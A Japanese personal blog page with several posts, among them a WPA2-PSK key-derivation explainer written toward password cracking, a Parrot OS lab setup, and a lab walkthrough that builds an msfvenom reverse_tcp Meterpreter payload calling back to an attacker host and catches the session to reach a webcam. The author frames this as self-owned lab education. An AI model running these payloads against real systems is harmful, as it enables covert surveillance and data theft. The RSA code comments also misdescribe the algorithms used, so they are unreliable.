a3VtYQ2e9uA1のブログ

特記事項はありません

簡易RSA計算器

計算器

素数$ p $
素数$ q $
平文$ M $

定義

2つの異なる素数$p,q$および平文$ M $を与える.ただし$0 \leq M \leq pq - 1$.

  • $N = pq$
  • $\phi (N) = (p - 1)(q - 1)$
  • $\gcd (e, \phi (N)) = 1$
  • $d = e^{-1} \mod \phi (N)$
  • $C = M^{e} \mod N$
  • $M_{d} = C^{d} \mod N$

なお,$e$は$\phi(N)$に対して互いに素となる数のうち最小のもの.

プログラム

JavaScriptです.

calc()

メインの関数です.見栄え重視のために入出力部分は省略しています.

function calc() {
    var p, q, M;

    // 入力値の検証
    if (isNaN(p) || isNaN(q) || isNaN(M)) return;
    if (!isPrime(p) || !isPrime(q)) return;
    if (p == q) return;
    if (M < 0 || (p * q - 1) < M) return;

    // NおよびΦ(N)の計算
    var N = p * q;
    var phi_N = (p - 1) * (q - 1);

    // eの計算
    var e = 2;
    while(gcd(phi_N, e) != 1) e++;

    // dの計算(拡張ユークリッド互除法)
    var d = 2;
    while(e * d % phi_N != 1) d++;

    // べき剰余の計算
    var C = powmod(M, e, N); // 暗号化
    var Md = powmod(C, d, N); // 復号
}

isPrime()

入力nが素数であるかを判定します.低効率.

function isPrime(n) {
    if (n < 2) return false; // 1以下なら素数でない
    if (n == 2) return true;  // 2は素数
    if (n % 2 == 0) return false; // 2以外の偶数は素数でない

    // √nまでの奇数についてnの剰余を求める
    var m = Math.sqrt(n);
    for (var i = 3; i <= m; i += 2) {
        if (n % i == 0) return false;
    }
    return true;
}

gcd()

入力aとbの最大公約数を求めます.

function gcd(a, b) {
    if (a % b == 0) return b;
    else return gcd(b, a % b);
}

powmod()

繰り返し自乗法によって$M^{k} \mod N$を求めます.

function powmod(M, k, N) {
    var v = 1;
    for (var i = 0; i < k; i++) {
        v *= M;
        if (v >= N) v %= N;
    }
    return v;
}

TeX Live 2020 がインストールできない(解決済み)

TeX Liveのインストールで嵌った

新しいラップトップを買ったのでLaTeX環境を作ろうかと思って失敗,そして解決した話.

まず結論

先んじてインストールしていたMinGWが悪さをする.
したがって,MinGWのパスを一時的に削除することでインストールできる.

本論

ここからinstall-tl-windows.exeをダウンロードしてきて実行したところ,図のようなメッセージが出てインストールに失敗しました.

f:id:a3VtYQ2e9uA1:20210112200148p:plain
Failedと書いてある

これを読む限りパッケージの展開でおかしなことになっているようですが,メイン機では同じ手順で特に問題なく完了したので原因の心当たりはなく,パッケージ構成を変えてみたり管理者権限で実行してみたりリアルタイム保護を無効にしてみたりするも効果はなし.
仕方がないのでネットで調べていると下のようなページを見つけました.

https://tex.stackexchange.com/questions/445086/error-installing-latest-version-of-tex-live-on-windows-10

曰く,MinGWのxzが原因のようでした.メイン機ではTeX Liveの後にMinGWを入れたので問題にならなかったわけです.そこで

コントロールパネル -> システムとセキュリティ -> システム -> システムの詳細設定 -> 環境変数(N)...

と辿ってMinGWディレクトリに通していたパスをいったん削除,再度インストールを試みました.↓

f:id:a3VtYQ2e9uA1:20210112200315p:plain
インストール成功

解決しました.

おまけ日記

久しぶりに記事を書きました.8月下旬にメインで使っていたパソコンのHDDが壊れる,他に書くべきものがたくさんあってブログなんか書く気がなくなる,下書き作っておきながら公開してもいいものか迷った挙句破棄する,健康上の理由,単純に忙しかった,など様々な原因があります.

数ヶ月間何も変化がなかったにもかかわらず,割とコンスタントにアクセスがあったように思います.特に年明け直後からすごく伸びた印象です.皆さんそんなにWi-Fiパスクラックがしたかったのでしょうか.

Wi-Fi接続時の手続きとパスワード解析(理論編)

WPA2-PSKの鍵共有プロセス

「wpa 解析」とか「wpa2 解析」とかの検索ワード経由での本ブログの記事へのアクセスが増えています(2020/08/10時点).該当記事では単純にAircrack-ngを用いてパスワード解析を行う手順を示しただけで,肝心のプログラムがどのように動いているか等の情報はほとんど書きませんでした.これではScript kiddieでさえないので,WPA2-PSKの認証プロセスを調べ,Aircrack-ngと似たような働きをするプログラムをC言語で書いてみました.本稿はその前半です.

大まかな流れ

WPA2-PSKにおける認証を簡単に表すとこのようになります.

  1. アクセスポイント(以下AP)とクライアント(以下CL)間で,SSIDとお互いのMACアドレスを共有する
  2. APは共有された情報と設定されたWPAキー(パスワード)から一時的な鍵を生成する
  3. CLのユーザはパスワードを入力し,それと共有情報から一時的な鍵を生成する
  4. 4-Way Handshakeによってユーザが入力したパスワードが正しいか判定し暗号鍵を共有する
  5. 暗号化された通信を開始する

本稿では,4-Way Handshakeと各鍵の生成方法について書いていきます.

4-Way Handshake

4-Way Handshakeとは,4つのパケットをやり取りすることで,暗号化通信に用いるPTKGTKという2つの鍵を共有する手順のことです.GTKはそのAPに対する接続すべてで同じものを用いますが,PTKはCLごとに異なり,さらにPTKが経路上を流れることはありません.WPA2ではPTKやGTKを定期的に更新することで安全性を高めています.

4-Way Handshakeの挙動を以下に示します.ユーザが接続したいSSIDを選んでパスワードを入力し,「接続」ボタンを押すとこのようなやり取りがなされるわけです.

f:id:a3VtYQ2e9uA1:20200810222536p:plain
4-Way Handshakeの大まかな流れ

鍵やパスワードのデータが直接経路上でやり取りされることがないため,チャレンジ・レスポンス方式による認証であると分かります.なお,各パラメータの生成タイミングは実装により異なることがあります.

前提として,CLのユーザは正しいパスワードを入力したものであるとします.APとCLはそれぞれパスワードSSIDを用いてPSKと呼ばれる鍵を生成します.WPA2-PSKの場合,PSKはPMKと同一であるため,これでPMKの共有が完了したことになります.

PMKを生成したあと,APは疑似乱数を用いてナンスと呼ばれる256bitのデータを生成します(図におけるナンスA).このナンスAを4-Way Handshakeのメッセージ1としてCLに送ります(#1).

同時にCLもナンスを生成します(ナンスS).CLはPMK,APおよびCLのMACアドレス,生成したナンスS,そしてAPから送られてきたナンスAを用いて,PTKを生成します.そしてナンスSをメッセージ2としてAPに送ります(#2).

CLからナンスSを受け取ったAPも同様の手順でPTKを生成します.APはGTKを暗号化し,さらに暗号化したGTKとPTKを用いてMICという値を作成し,暗号化されたGTKとMICをメッセージ3としてCLに送ります(#3).

メッセージ3を受領したCLは暗号化されたGTKを受け取り,自らのPTKを用いてMICを計算します.この結果と受け取ったMICが同じであることを確認し,APにACKを送ります(#4).

以上の手順によってPTKとGTKが共有され暗号化通信を開始する準備が完了します.

鍵の生成方法

PMK

PMKはPairwise Master Keyの略であり,鍵長は256bit(32バイト)です.WPA2-PSKでは後に示すPSKと同じ値になります.

PSK

PSKはPre-Shared Keyの略で,事前共有鍵という意味です.パスワードとSSIDから一意に求められます.計算手順の概略図を示します.

f:id:a3VtYQ2e9uA1:20200810222759p:plain
PBKDF2-HMAC-SHA1によるPSKおよびPMKの計算

まず,パスワードをメッセージ,SSIDの末尾に整数(int型,4バイト)の「1」を付加したものをソルトとして,疑似乱数関数(PRF: Pseudo-Random Function)であるHMAC-SHA-1による160bitのMAC値を求めます.以降はパスワードをメッセージ,前段で求めたMAC値をソルトとしてさらにMAC値を求めていき,これを4096段まで行います.
全段の出力のXOR(排他的論理和)をとったものがPSKの先頭160bitとなります.

続いて,SSIDの末尾に付加する整数を「2」とし,同様に全4096段の出力のXORをとったものを,PSKの161bit目におきます.この時点でPSKのデータは320bitとなっており,このうちの先頭256bitが実際のPSKとなります.

この一連の操作はPBKDF2(Password-Based Key Derivation Function 2)という名前の鍵導出関数です.SSIDが固定の場合でも,パスワード1パターンに対してHMAC-SHA-1を8192回も実行する必要があります.これによって,総当たり攻撃に対する耐性を高めているものと考えられます.

PTK

PTKはPairwise Transient Keyの略で,鍵長は640bit(80バイト)です.PTKを求めるには,まずPKEというデータを用意する必要があります.

PKEは800bit(100バイト)のデータで,以下のような構造です.

f:id:a3VtYQ2e9uA1:20200810222903p:plain
PKEの構造

まず,先頭に文字列として「Pairwise key expansion」を並べます.char型配列に1文字ずつ並ぶ感覚です.これで23バイト目までが埋まります(null文字'\0'もカウントします).
次に,APとCLのMACアドレスを並べます.2つのMACアドレスを比較し(これにはmemcmp()関数を用います),小さい方を先に,大きい方を後に並べます.MACアドレスは1つ6バイトであるため,この操作によって35バイト目までが埋まります.
続いて,APとCLがそれぞれ生成したナンスを並べます.これもMACアドレスと同様に大きさを比較し小さい方から並べていきます.ナンスは1つ32バイトなので,これで99バイトまで埋まります.
最後の1バイトは8bitの符号なし整数を付加します.

さて,PKEを構築したのでPTKの計算手順を示します.

f:id:a3VtYQ2e9uA1:20200810222921p:plain
PTKの計算

PMKをメッセージ,PKEをソルトとして,HMAC-SHA-1によるMAC値を4回求め,それを並べたものがPTKになります.なお,MAC値を計算する際にはPKE末尾の8bit符号なし整数の値を1から4まで変化させます.

鍵計算全体のフロー

鍵を導出する手順全体は以下のようになります.

f:id:a3VtYQ2e9uA1:20200810225421p:plain
PTKを導出する手順

おわり

4-Way Handshakeと認証に用いるいくつかの鍵の計算方法について書きました.次回は,これらの情報をもとに,パケットキャプチャファイルとパスワード辞書からWi-Fiのパスワードを調べるプログラムについて書こうと思います.

おまけ: Aircrack-ngを用いたWPA2キーの解析

a3vtyq2e9ua1.hatenablog.com

VirtualBoxでArch Linuxを使う

これまで記事にしてきた実験,特にコンピュータ実機を用いた実験では,Arch Linuxをインストールしたラップトップを使用していました.
例えばこれら↓

a3vtyq2e9ua1.hatenablog.com

a3vtyq2e9ua1.hatenablog.com

『ハッキングラボ』をやってみた関係でVirtualBoxが充実してきたので,この際仮想環境上にArch Linux環境を作ってしまおうということでその手順をまとめました.

初めてArchをインストールしたときに手順書を作っておいたので,それを参照しながら作業を行いました.手順書を書いたのが2014年なので当然今では上手くいかない箇所もあり,詰まったら適当に回避しています.
したがって,以下の記述には誤っている箇所や意味のない操作が含まれているかもしれません.あらかじめご了承ください.

ディスクイメージのダウンロード

https://www.archlinux.org/download/ からISOファイルをダウンロードしてきます.基本的には地理的に一番近いサーバ,つまり日本のサーバを選択するのが良いと思います.Archのインストールイメージは1ヶ月ごとに更新され,本稿記述時の最新版はarchlinux-2020.07.01-x86_64.isoでした.今回はそれを用います.

ダウンロードが完了したら一応MD5ハッシュ値を確認しておきます.Windowsの場合下の方法で確認できます.

certutil -hashfile <ダウンロードしたファイル> MD5

このとき出力された値とダウンロードページに掲載されている値が一致していれば問題ありません.もし違っている場合,ファイルが壊れているかニセモノを掴まされた可能性があります.

f:id:a3VtYQ2e9uA1:20200722223618p:plain
ダウンロードしたISOファイルのMD5ハッシュ値を計算し,公式の情報と比較する.一致している

仮想マシンの設定

仮想マシンの設定は以下の通りです.

この辺りは好きに設定して構いません.

Arch Linuxのインストール

基本的には公式インストールガイドの通りにやればいいのですが,ひと通り紹介していきます.

起動

仮想マシン光学ドライブにダウンロードしたISOファイルを割り当てて起動します.

f:id:a3VtYQ2e9uA1:20200722223829p:plain
仮想光学ドライブから起動した

上の画面が表示されたら一番上の項目を選択します.しばらく色々と表示されて,最終的にrootのプロンプトが表示されます.

キーマップの設定

デフォルトではUS配列なので,日本語配列に設定します.

# loadkeys jp106

パーティショニング

実機にインストールする場合は/bootや/home等を分けた方が良いのですが,ここではルートパーティションスワップパーティションの2つだけを作っていきます.

cfdiskによるパーティション分け

ハードディスクは/dev/sdaであるとし,パーティションを切っていきます.ここではcfdiskを用います.

# cfdisk /dev/sda

まず,今回の仮想マシンbiosなのでdosを選択します.
(gptワカラナイ)

[New]を選択し,ルートパーティションの大きさを決めます.ここでは14GBを割り当てました.次にパーティションの種類を問われるので[primary]を選択します.すると,/dev/sda1が作成されます.
/dev/sda1が選択された状態(左側に>>がある)で左端の[Bootable]を選択します.これで/dev/sda1にBootフラグが立ちました.

続いてカーソルキー↓を押してFree spaceを選択し,[New]を選択します.空いた2GBはスワップ領域に割り当てるためそのままEnterを押します.これもprimaryとします.
/dev/sda2が選択された状態で[Type]を選択します.表示された一覧から「82 Linux swap / Solaris」を選択します.

最終的にこんな感じになります.

f:id:a3VtYQ2e9uA1:20200722223918p:plain
14GBの/dev/sda1と2GBの/dev/sda2が存在している

以上の設定が完了したら[Write]を選択したあと注意をよく読んでyesと入力し,設定した内容を実際にハードディスクに書き込みます.その後[Quit]でcfdiskを終了します.

ファイルシステムの作成とスワップの有効化

作成した/dev/sda1をext4でフォーマットします.

# mkfs.ext4 /dev/sda1

/dev/sda1を/mntにマウントします.

# mount /dev/sda1 /mnt

/dev/sda2にスワップを設定します.

# mkswap /dev/sda2
# swapon /dev/sda2

インターネット接続の確認と時刻合わせ

ip addrネットワークアダプタごとの状態が表示されます.lo等のデバイスは無視し,ethenpと表示されているデバイスIPアドレスが設定されていることを確認します.私の環境ではenp0s310.0.2.15が割り当てられていました.
ping 8.8.8.8等でインターネットにアクセスできることを確認します.

インターネット接続が確認出来たらシステムクロックを更新します.

# timedatectl set-ntp true

ベースシステムのインストール

OSの中枢となるソフトウェアをダウンロードしてきてハードディスクにインストールします.pacstrapを用います.

# pacstrap /mnt base base-devel linux linux-firmware

baseにはbashやtar等最小限の動作に必要なパッケージが,base-develにはgccやsudo等が含まれています.linuxカーネルとモジュールで,linux-firmwareファームウェアファイルです.

GRUBブートローダをインストールします.

# pacstrap /mnt grub-bios

ネットワーク接続に必要なパッケージをインストールします.

# pacstrap /mnt dialog netctl dhcpcd

テキストエディタとしてVimをインストールします.

# pacstrap /mnt vim

パッケージのインストールが完了したらfstabを作ります.fstabとはパーティションやブロックデバイスのマウント方法を記述したもので,/etc/fstabに書かれます.書式は決まっているので自分で書いても構いませんが,ここでは簡略化のため自動で生成させます.

# genfstab -U /mnt >> /mnt/etc/fstab

chroot環境における各種設定

chrootとは見かけ上のルートディレクトリを変更するコマンドです.これを用いて,新しくインストールしたシステムを疑似的に操作し設定を行います.詳しくはここを参照してください.

下のコマンドを実行して,/mntすなわち/dev/sda1をルートとしたchroot環境に入ります.

# arch-chroot /mnt

タイムゾーンの設定

シンボリックリンクを作成してタイムゾーンを設定します.日本以外に設定する場合は/Asia/Tokyoの部分を適宜書き換えてください.

# ln -sf /usr/share/zoneinfo/Asia/Tokyo /etc/localtime

時刻を設定します.

# hwclock -w --utc

ロケールの設定

/etc/locale.genを編集して,使用するロケールをアンコメントします.
vim /etc/locale.genを実行し,en_US.UTF-8 UTF-8ja_JP.UTF-8 UTF-8の前の#を削除して上書き保存します.
その後ロケールを生成します.

# locale-gen

LANG環境変数を設定します.

# echo LANG=en_US.UTF-8 > /etc/locale.conf
# export LANG=en_US.UTF-8

コンソールの設定

キーマップの設定を永続化します. vim /etc/vconsole.confを実行し,以下のように記述します.

KEYMAP=jp106

ネットワークの設定

ホスト名を設定します./etc/hostnameにホスト名を記述します.ここではarch-vboxとします.

# echo arch-vbox > /etc/hostname

/etc/hostsを設定します.vim /etc/hostsを実行し,下を追記します.

127.0.0.1   localhost
::1         localhost
127.0.1.1   arch-vbox.localdomain   arch-vbox

initramfsの作成

initramfsとはシステムが起動するときに一時的なルートファイルシステムをRAMに読み込むために用いる方式です.以下のコマンドを実行しinitramfsを生成します.

# mkinitcpio -p linux

途中モジュールaic94xxwd719xに対し警告が出るかもしれませんが問題ありません.

GRUBのインストール

ブートローダであるGRUBをインストールします.ハードディスク/dev/sdaにインストールする場合以下のようにします.

# grub-install /dev/sda

No error reported.と表示されれば成功です.
続いてGRUBの設定ファイルを生成します.設定は/boot/grub/grub.cfgに記述されます.

# grub-mkconfig -o /boot/grub/grub.cfg

rootパスワードの設定

rootにパスワードを設定します.passwdを実行し,設定したいパスワードを入力してください.

chroot環境から出て再起動する

以上で基本的な設定が完了したので,chrootを抜けて再起動します.
exitchrootを抜けます.続いてumount /mntでハードディスクをアンマウントします.

rebootで再起動し,仮想マシン光学ドライブからISOファイルの割り当てを除去しておきます.
次からはハードディスクにインストールしたArch Linuxを起動し設定を行っていきます.

再起動後の設定

仮想マシンを再起動するとハードディスクからGRUBが読み込まれ,そのままArch Linuxが起動すると思います.正常に起動しなかった場合はこれまでの手順を確認してください.

ログインプロンプト(下の画面)が表示されたら,login: のあとにrootを入力してEnterを押し,パスワードを入力してログインします.パスワードは印字されませんがそのまま入力してEnterを押してください.

f:id:a3VtYQ2e9uA1:20200722224046p:plain
Archのログインプロンプト

プロンプトが表示されればログイン成功です.
ただ,この状態ではネットワークに接続できていません.インストールのときはISOから起動したシステムが自動で設定してくれていたわけですが,今回はハードディスクからの起動でまだその設定を行っていないからです.ということで設定していきます.

ネットワークの設定

まず,ip linkを実行してネットワークアダプタを調べます.私の環境では下のような出力でした.

f:id:a3VtYQ2e9uA1:20200722224139p:plain
ip linkの出力.loとenp0s3が存在することが分かる

ここから,loenp0s3という2つのアダプタがあることが分かります.仮想マシンに設定しているNATはenp0s3なので,これを設定します.

ネットワークの設定にはnetctlというソフトウェアを利用します./etc/netctl/下にプロファイルを置いておくことで,netctlはプロファイルをもとに自動で設定してくれます.

まず,例をもとにプロファイルを作ります./etc/netctl/examples/にプロファイルの例が置いてあるので,それを/etc/netctl/にコピーして利用します.今回設定するプロファイル名はmy_profileとしておきます.

# cp /etc/netctl/example/ethernet-dhcp /etc/netctl/my_profile

vim /etc/netctl/my_profileを実行しこれを書き換えます.
2行目の

Interface=eth0

の部分を

Interface=enp0s3

に置き換え,上書き保存します.

作成したプロファイルを使って接続を開始します.

# netctl start my_profile

しばらく待ってip addrpingを実行すれば,IPアドレスが割り当てられインターネットに接続できるようになっていると思います.
以下を実行すれば,OS起動時に自動的に接続が開始されます.

# netctl enable my_profile

ユーザの追加

いつまでもrootで操作するのは安全上好ましくありません.よって一般ユーザを設定します.ここではユーザ名とグループ名をtaroとします.

まずtaroグループを追加します.

# groupadd taro

次にtaroというユーザを追加します.

# useradd -s /bin/bash -g taro -m taro

useraddコマンドのオプションの意味は次の通りです.

  • -s /bin/bash : ログインシェルを/bin/bashとする
  • -g taro : ユーザのグループをtaroとする
  • -m : ユーザのホームディレクトリを作成する(/home/taro)
  • taro : ユーザ名はtaroとする

続いてtaroのパスワードを設定します.以下を実行しパスワードを設定します.

# passwd taro

さて,パッケージをインストールする等システムに重大な影響を与える操作を行う際はroot権限が必要になります.しかしパッケージをインストールするのにいちいちrootでログインして操作するなんてことはやっていられないでしょう.そこで,taroとしてログインしている際にもsudoコマンドによって一時的にroot権限を与えられるようにします.

taroでsudoできるようにするためにはsudoersを編集します. sudoersを編集するためにはvisudoを用います.
visudoviがないと動かないため,vimviとすることにします.下を実行して,/usr/bin/vi/usr/bin/vimシンボリックリンクとします.

# ln -s /usr/bin/vim /usr/bin/vi

その後,visudoを実行して,ファイル中ほどの

root ALL=(ALL) ALL

という記述に続き以下のように追記します.操作はVimと同じです.

%taro ALL=(ALL) ALL

以上の操作によって,taroグループに属するユーザにrootと同等の権限を与えることができるようになりました.

一般ユーザでの操作

rootからログアウトしてtaroでログインします.logoutコマンドでログアウトすれば再びログインプロンプトが表示されるため,ユーザ名にtaro,パスワードにtaroのパスワードを指定してログインします.rootにおいてプロンプトの表示は#でしたが,taroでは$になっていると思います.

パッケージの操作

パッケージはpacmanで操作します.これにはroot権限が必要です.

インストールされているパッケージを全て更新するには以下を実行します.

$ sudo pacman -Syu

taroのパスワードが要求されるので,パスワードを入力してEnterを押せばパッケージの更新ができます.
ところで,初めてsudoを実行した場合,何やら文句が表示されたのちにパスワードが要求されると思います.

We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.

これは極めて重要なことなので心に留めておいて損はないと思います.

さて,パッケージをインストールするには以下を実行します.今回はneofetchというソフトをインストールしてみます.

$ sudo pacman -S neofetch

電源操作

shutdownreboot等のコマンドを実行する際にはroot権限が必要になります.したがってtaroにログインした状態で仮想マシンの電源を切るには下のように実行します.

$ sudo shutdown now

おまけ

/etc/vconsole.confに以下の記述を付け足しrebootすることで,コンソールフォントをスマートにできます.

FONT=Lat2-Terminus16

なお,このファイルの編集にはroot権限が必要です.

デフォルトのフォントでneofetchした際の出力は

f:id:a3VtYQ2e9uA1:20200722224241p:plain
デフォルトフォントでneofetch

の通りですが,Lat2-Terminus16では

f:id:a3VtYQ2e9uA1:20200722224302p:plain
スマートになった.気がする

となります.

Kaliの代わりにParrotでハッキングラボを構築する

少し前にTwitterで流行ったやつとは関係ない

Webカメラを遠隔操作する実験IPUSIRON氏の「ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習」という本を参考に行いました.この本での実験環境を,Kali Linuxの代わりにParrot Security OSを用いて構築してみようと思ったのでメモしておきます.

https://www.shoeisha.co.jp/book/detail/9784798155302

f:id:a3VtYQ2e9uA1:20200617233031p:plain

Parrot Security OSは,セキュリティに特化したDebianベースのLinuxディストリビューションです.セキュリティ特化ディストロといえばKali Linuxですが,こういうのもあるというのを知ったので使ってみました.

ディスクイメージのダウンロード

公式サイトからISOをダウンロードしてきます.本稿記述時における最新版は4.9.1なので,Parrot-security-4.9.1_x64.isoを落としてきました.

https://parrotlinux.org/download/

Securityを選択した画面ではMATE版,KDE版,そしてOVA版があると思います.私は好みの関係でMATEを選びました.直接ダウンロードするなりTorrentを使うなりしてイメージファイルを入手します.

f:id:a3VtYQ2e9uA1:20200617225804p:plain
公式サイトからISOイメージをダウンロードする

仮想マシンの設定とインストール

VirtualBox仮想マシンを作ります.私は下のような設定としました.

  • 名前 : parrot
  • タイプ : Linux
  • バージョン : Debian (64-bit)
  • RAM : 2GB (2048MB)
  • ハードディスク : 20GB

仮想光学ドライブに上でダウンロードしたISOファイルを割り当て仮想マシンを起動します.メニューが出てくるのでLiveを選択しそのまま放っておけばデスクトップが表示されます.

f:id:a3VtYQ2e9uA1:20200617225851p:plain
仮想マシンを起動した直後.何も操作しなければ自動的に一番上のLiveが選択される

デスクトップのInstall Parrotをダブルクリックすれば,ガイドに従ってハードディスクにインストールできます.はじめに日本語を選択しておけば日本語環境がインストールされるので便利です.

f:id:a3VtYQ2e9uA1:20200617230026p:plain
Parrotのデスクトップ

パーティショニング等はお好きに設定してください.

アップデート

インストールが終了したらOSのアップデートを行います.公式では

# apt update && apt upgrade

をやった結果は保証できないので

# parrot-upgrade

でアップデートしてね.

と書いてありましたが,どうもうまくいかないのでapt update && apt upgradeでアップデートします.正確に言えばapt updateしたあとapt dist-upgradeしました.
途中止まることがあるかもしれませんが,そういうときは再度コマンドを実行するとうまくいくかもしれません.

アップデートが完了したら一旦仮想マシンをシャットダウンしておきます.

ネットワークの設定

仮想環境で実験できるようにネットワーク周りの設定をします.
parrotにネットワークアダプターを2つ設定し,1つをホストオンリー,もう1つをNATに設定することで,インターネットアクセスを可能にしつつホストオンリーネットワークでの実験も可能になります.

私の環境では,ホストオンリーネットワークは10.0.0.0/24に設定してあります.parrotのアダプター1には10.0.0.6を割り当てます.

f:id:a3VtYQ2e9uA1:20200617230138p:plain
目標とするネットワーク構造.ホストオンリーネットワークではインターネットに接続できないが,NAT越しなら可能

VirtualBoxマネージャーからparrotのネットワーク設定を変更します.
仮想マシンparrotの設定画面を開き,左側の項目からネットワークを選択します.
アダプター1について以下の設定を適用します.

  • ネットワークアダプターを有効化(E) : チェック
  • 割り当て(A) : ホストオンリーアダプター
  • 高度(D)
    • ケーブル接続 : チェック

同様にアダプター2について設定します.

設定が済んだらOKボタンを押して完了します.

続いてOS側の設定を行います.ここではVimを使いますが,他のテキストエディタでも構いません.
仮想マシンを起動し,ログインを済ませ,端末を開き以下を実行します.

$ sudo vim /etc/network/interfaces

すると下のような表示がなされると思います.

# interfaces(5) file used by ifup(8) and ifdown(8)
# Include files from /etc/network/interfaces.d:
source-directory /etc/network/interfaces.d

これに続き以下を入力します.

auto eth0
iface eth0 inet static
address 10.0.0.6
netmask 255.255.255.0

auto eth1
iface eth1 inet dhcp

:wqで保存し仮想マシンを再起動します.再起動の後に端末でifconfigを実行した結果が下の図です.

f:id:a3VtYQ2e9uA1:20200617230309p:plain
ifconfigを実行した

eth0には10.0.0.6が,eth1には10.0.3.15が割り当てられていることが確認できます.

試してみる

ひと通りの設定が完了しました.私の環境ではホストオンリーネットワーク内の10.0.0.5にMetasploitable2が割り当てられているので,ちょっかいをかけてみました.概念図を示します.

f:id:a3VtYQ2e9uA1:20200617230358p:plain
ParrotからMetasploitable2に攻撃を仕掛けてみる

VirtualBoxマネージャーからMetasploitable2の仮想マシンを起動しログインしておきました.
Parrot側で端末を起動し,sudo nmap -sV -O 10.0.0.5を実行しました.結果の一部を下に示します.

f:id:a3VtYQ2e9uA1:20200617230436p:plain
Nmapの出力.ガバガバ

Nmapの出力から,Metasploitable2はLinux 2.6で動いていることが分かります.また開いたポート一覧が確認できます.3306番が開いているということはMySQLが動作しているということなので,攻撃の手掛かりになりそうです.

おまけ 日本語入力の設定

ここまででハッキングラボの構築には問題ないと思いますが,日本語入力ができないとインターネット検索やちょっとしたメモをする時に困るかもしれません.そこで日本語入力ができるように設定します.

日本語IMが入っていないのでインストールします.ここではfcitx-mozcをインストールします.

$ sudo apt install fcitx-mozc

上部メニューの System -> 設定 -> その他 -> Fcitx設定 を選びます.
全体の設定タブを選択し,入力メソッドのオンオフ横のをクリックし[全角/半角]キーを押します.するとZenkakuhankakuに変わります.
一度ログアウトして再度ログインしなおせば日本語入力が可能となります.

f:id:a3VtYQ2e9uA1:20200617234025p:plain
日本語が入力できるようになった!

おわり

Parrot Securityの設定について書きました.NmapやMetasploit等の王道ツールはひと通り揃っているし,見た目も結構凝っていて綺麗なので,興味があればParrotを使ってみるのも面白いかと思います.
何というか,Kaliのデザインってなんか小学生男子のドラゴンの裁縫セットっぽいと思いませんか? 私は嫌いではないですけど.

Stay at $HOME

家にいよう

STAY HOME週間なのでカレントディレクトリをホームから移動できないようにします.

OSはUbuntu(Xubuntu)の18.04です.

自宅にいることを確認する

カレントディレクトリがホームでないならcd ~でホームディレクトリに移動しておきます.
念のため,echo $HOMEで自宅の位置が,pwdで現在地が出力されるので,これらが一致していることを確かめます.

f:id:a3VtYQ2e9uA1:20200505115625p:plain
自宅にいる
オッケーです.

移動を制限する

cdはカレントディレクトリを変更するコマンドです.これを無効化します.

$ enable -n cd

これでホームディレクトリから移動できなくなりました.

f:id:a3VtYQ2e9uA1:20200505120651p:plain
cdコマンドが無効化された

制限解除

一生家から出られないのもアレなので,落ち着いたら外出できるようにします.

$ enable -a cd

これで外出できるようになりました.

f:id:a3VtYQ2e9uA1:20200505120714p:plain
cdコマンドが有効化された

おわり

以上です.今回は何番煎じか分からないネタでした.
enableコマンドは例えばaliasを無効にしたいときなんかに使えるかと思います.

Webカメラを遠隔操作してみた

Z○○mとか色々流行ってるらしい

最近リモートワークとか何とかでWebカメラが注目されていますね.
しかし,例えばコンピュータがマルウェアに感染している等不適切な状態で使用すればプライベートや機密情報が筒抜けになってしまう恐れがあります.

ということでMetasploitを用いたWebカメラの遠隔操作の実験をやってみました.

この本を参考にしました.とても面白い本なのでおすすめです.
https://www.shoeisha.co.jp/book/detail/9784798155302
IPUSIRON,『ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習』,株式会社翔泳社,2018年

これはセキュリティの知識を深めるための実験であり,犯罪行為を唆すものではありません.実験する際は必ず自分が管理する機器を用いてください.自分のものではないネットワークに対しこのようなことを行うのは非倫理的かつ犯罪であり,厳しく罰せられるべきです.

実験環境

  • ルータ(アクセスポイント)
    • 以下2台のパソコンを接続
  • Windowsパソコン
    • OSはWindows10 64bit
    • IPアドレスは192.168.1.100
    • アンチウィルスソフトを使用していない
    • Windows Defenderのリアルタイム保護は無効
    • Webカメラが付いてる
  • 攻撃用パソコン

最終的にこんな感じになる↓

f:id:a3VtYQ2e9uA1:20200503214432p:plain
最終的な実験環境

ペイロードの作成

シェルコードを含んだプログラムを作ります.

攻撃用パソコンの端末でmsfvenom -p [ペイロード] LHOST=[攻撃用パソコンのIP] -f [出力ファイル形式] -o [出力ファイル]を実行します.
今回,ペイロードwindows/x64/meterpreter/reverse_tcp,攻撃用パソコンのIPアドレス192.168.1.123,出力ファイル形式はexe,出力ファイル名は~/ayashii.exeとします.

> msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.123 -f exe -o ~/ayashii.exe

ホームディレクトリにayashii.exeが出力されます.このEXEをClamAV等のアンチウィルスソフトで検査するとトロイの木馬判定をくらいます.

ペイロードWindowsパソコンで実行する

まず,ayashii.exeWindowsパソコンに保存します.ファイル共有でもNASでもUSBメモリでも構いませんが,リアルタイム保護を無効化していないと保存の時点で弾かれます.
実験ではC:\User\user\Desktop\folderに保存しました.

f:id:a3VtYQ2e9uA1:20200503214529p:plain
Windowsパソコンにペイロードを保存した.同じディレクトリにはsecret.txtがある

さて,保存したayashii.exeを実行します.何も起こらないか,あるいは一瞬だけ何かのウィンドウが開いてまた消えます.

リバースコネクトを待ち受ける

攻撃用パソコンでMetasploitを使用します.

端末でmsfconsoleを実行すると,少々時間が掛かるかもしれませんがMetasploitが起動して楽しいバナーアスキーアートとmsfプロンプトが表示されます.

f:id:a3VtYQ2e9uA1:20200503214636p:plain
msfconsoleを起動した.バナーには多くの種類があり,msfプロンプトでbannerを実行すると様々なAAを見ることができる

モジュールの設定

ハンドラモジュールexploit/multi/handlerを実行します.

msf > use exploit/multi/handler

ペイロードの指定

Meterpreterセッション確立するためのペイロードとしてwindows/x64/meterpreter/reverse_tcpを指定します.

msf > set payload windows/x64/meterpreter/reverse_tcp

IPアドレス・ポート番号の設定

攻撃用パソコンのIPアドレスを192.168.1.123,使用するポート番号を4444に設定します.

msf > set LHOST 192.168.1.123
msf > set LPORT 4444

実行!

設定したハンドラを実行します.

msf > exploit

f:id:a3VtYQ2e9uA1:20200503214829p:plain
Exploit!

ayashii.exeを実行していれば,セッションが確立されMeterpreterプロンプトが表示されると思います.表示されない場合もう一度Windowsパソコンでayashii.exeを実行してみます.

f:id:a3VtYQ2e9uA1:20200503214850p:plain
Meterpreterセッションが確立された

ファイルを盗んでみる

